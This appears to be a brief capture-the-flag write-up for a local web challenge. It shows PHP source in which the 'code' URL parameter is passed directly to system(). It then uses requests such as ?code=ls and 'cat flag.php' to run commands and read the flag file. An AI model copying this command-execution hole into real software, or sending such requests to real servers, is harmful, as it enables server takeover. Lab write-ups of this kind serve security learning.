- Look at the web page source code, we can find a hidden link with a parameter in the url
?source=1, let’s go to it - The source code is displayed in the page
if (isset($_GET['source'])) {
@show_source(__FILE__);
} else if(isset($_GET['code'])) {
print("<pre>");
@system($_GET['code']);
print("<pre>");
} else {
- With a closer look, the
codeparameter can be used with theGETmethod (aka direct in url) - The value of this parameter is executed using the
systemPHP function, so we can use it to execute commands on the server - Try the
lscommand to see what’s on the server: http://localhost:8000?code=ls
The output shows two files:
flag.php
index.php
flag.phpseems interesting, let’s see its content using the commandcat flag.php- Have a look on the source code of the returned page ;)